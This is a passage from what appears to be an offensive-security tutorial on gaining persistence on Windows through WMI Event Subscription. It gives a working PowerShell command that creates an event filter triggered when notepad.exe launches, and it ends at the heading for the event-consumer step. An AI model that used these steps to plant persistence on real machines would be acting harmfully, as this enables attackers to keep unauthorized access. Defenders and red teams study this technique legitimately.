Introduction¶
Windows Management Instrumentation (WMI) is a powerful feature in Windows for system management and monitoring.
WMI Event Subscription can be used for persistence by executing scripts or programs automatically when certain system events occur.
Step-by-Step: Establishing Persistence Using WMI Event Subscription¶
-
Identify the Trigger Event
Decide what event should trigger the payload.
Example:__InstanceCreationEvent
(occurs when a new instance of a WMI class is created). -
Create an Event Filter
Define the conditions under which the event will trigger using WQL (WMI Query Language):New-CimInstance -Namespace root\subscription -ClassName __EventFilter -Property @{ Name = 'MyEventFilter'; EventNamespace = 'root\cimv2'; QueryLanguage = 'WQL'; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'" }
-
Create an Event Consumer Specify the action to take when the filter condition is met (e.g., execute a script):